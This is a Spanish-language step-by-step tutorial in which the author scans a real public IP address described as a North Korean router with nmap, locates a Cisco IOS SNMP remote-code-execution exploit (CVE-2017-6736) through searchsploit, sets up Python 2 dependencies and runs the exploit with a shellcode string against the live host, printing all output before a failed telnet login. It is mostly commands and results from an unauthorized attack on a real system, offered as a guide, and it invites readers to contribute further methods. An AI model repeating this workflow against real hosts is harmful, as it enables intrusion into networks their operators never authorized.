**Buenas tardes, hoy voy a intentar entrar en un router de Corea del Norte, espero que te guste y aprendas**\\
**Primero hacemos un escaner al host y vemos lo que tiene**\\
-sV: Información de servicio, versión\\
-O: Detección de sistema operativo\\
-Pn: No realizamos descubrimiento de host mediante ping porque ya sabemos que está activo, si no ponemos ésta opción y el host no responde a pings, nmap no continuará con el escaneo
kp@dictadura:$ sudo nmap -sV -O -Pn 175.45.178.129
[sudo] contraseña para kp:
Starting Nmap 7.80 ( https://nmap.org ) at 2025-02-11 19:31 CET
Nmap scan report for 175.45.178.129
Host is up (0.32s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh Cisco SSH 1.25 (protocol 1.99)
23/tcp open telnet Cisco router telnetd
25/tcp filtered smtp
139/tcp filtered netbios-ssn
Device type: WAP|router
Running: Cisco IOS 12.X, Cisco IOS XE
OS CPE: cpe:/h:cisco:aironet_ap1250 cpe:/o:cisco:ios:12.4 cpe:/o:cisco:ios_xe
OS details: Cisco Aironet 1250 WAP (IOS 12.4) or IOS XE
Service Info: OS: IOS; Device: router; CPE: cpe:/o:cisco:ios
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.47 seconds
kp@dictadura:$
**Después, con searchsploit ([[comandos:searchsploit|aquí tienes el tutorial de como instalarlo]]) buscamos la vulnerabilidad más apropiada**\\
kp@dictadura:$ searchsploit -p 43450
Exploit: Cisco IOS - Remote Code Execution
URL: https://www.exploit-db.com/exploits/43450
Path: /opt/exploitdb/exploits/hardware/remote/43450.py
Codes: CVE-2017-6736, CISCO-SA-20170629-SNMP
Verified: False
File Type: Python script, ASCII text executable
Copied EDB-ID #43450's path to the clipboard
kp@dictadura:$
**copiamos y renombramos el exploit al directorio actual**\\
kp@dictadura:$\\
cp /opt/exploitdb/exploits/hardware/remote/43450.py ./43450_pyton2.py\\
**Editamos el exploit (es un script, un fichero) y leemos las instrucciones**\\
vim 43450_pyton2.py (vim es un editor de textos)\\
**El siguiente comando sirve para ver la versión exacta del firmware del router (y viene en las instrucciones del exploit)**\\
kp@dictadura:$ snmpget -v 2c -c public 175.45.178.129 1.3.6.1.2.1.1.1.0
Timeout: No Response from 175.45.178.129.
kp@dictadura:$
**No obtenemos ningún resultado, no sabemos la versión, continuamos con el exploit a ver si hay suerte y tiene ese firmware**\\
El exploit está escrito en python2, no van a funcionar algunas líneas si tenemos python3\\
**Instalamos python2**\\
sudo apt install python2\\
**Descargamos pip para python2**\\
curl -O https://bootstrap.pypa.io/pip/2.7/get-pip.py\\
**Instalamos pip en python2**\\
python2 get-pip.py\\
**Ver módulos instalados en python2**\\
python2 -m pip list\\
**Instalar scapy y termcolor para el exploit**\\
python2 -m pip install scapy\\
python2 -m pip install termcolor\\
**Al ejecutar el exploit no funcionará por la versión de scapy, instalar la 2.4.5**\\
python2 -m pip install scapy==2.4.5\\
**Ejecutamos el exploit según las instrucciones que proporciona (editar el exploit para verlo)**\\
kp@dictadura:$ sudo -E python2 43450_pyton2.py 175.45.178.129 public 8fb40250000000003c163e2936d655b026d620000000000002d4a821000000008eb60000000000003c1480003694f000ae96000000000000aea00000000000003c1fbfc437ff89a803e0000800000000
[sudo] contraseña para kp:
Writing shellcode to 0x8000f000
.
Sent 1 packets.
0x8000f0a4: 8fb40250
.
Sent 1 packets.
0x8000f0a8: 00000000
.
Sent 1 packets.
0x8000f0ac: 3c163e29
.
Sent 1 packets.
0x8000f0b0: 36d655b0
.
Sent 1 packets.
0x8000f0b4: 26d62000
.
Sent 1 packets.
0x8000f0b8: 00000000
.
Sent 1 packets.
0x8000f0bc: 02d4a821
.
Sent 1 packets.
0x8000f0c0: 00000000
.
Sent 1 packets.
0x8000f0c4: 8eb60000
.
Sent 1 packets.
0x8000f0c8: 00000000
.
Sent 1 packets.
0x8000f0cc: 3c148000
.
Sent 1 packets.
0x8000f0d0: 3694f000
.
Sent 1 packets.
0x8000f0d4: ae960000
.
Sent 1 packets.
0x8000f0d8: 00000000
.
Sent 1 packets.
0x8000f0dc: aea00000
.
Sent 1 packets.
0x8000f0e0: 00000000
.
Sent 1 packets.
0x8000f0e4: 3c1fbfc4
.
Sent 1 packets.
0x8000f0e8: 37ff89a8
.
Sent 1 packets.
0x8000f0ec: 03e00008
.
Sent 1 packets.
0x8000f0f0: 00000000
Jump to shellcode? [yes]: yes
.
Sent 1 packets.
Jump taken!
kp@dictadura:$ telnet 175.45.178.129
Trying 175.45.178.129...
Connected to 175.45.178.129.
Escape character is '^]'.
User Access Verification
Username:
Username:
Username:
Username: admin
Password:
% Login invalid
Username:
El exploit funciona pero no consigue el acceso sin que pongas usuario y contraseña (que en eso consiste)\\
**Si tienes algo mejor y quieres colaborar ya sabes**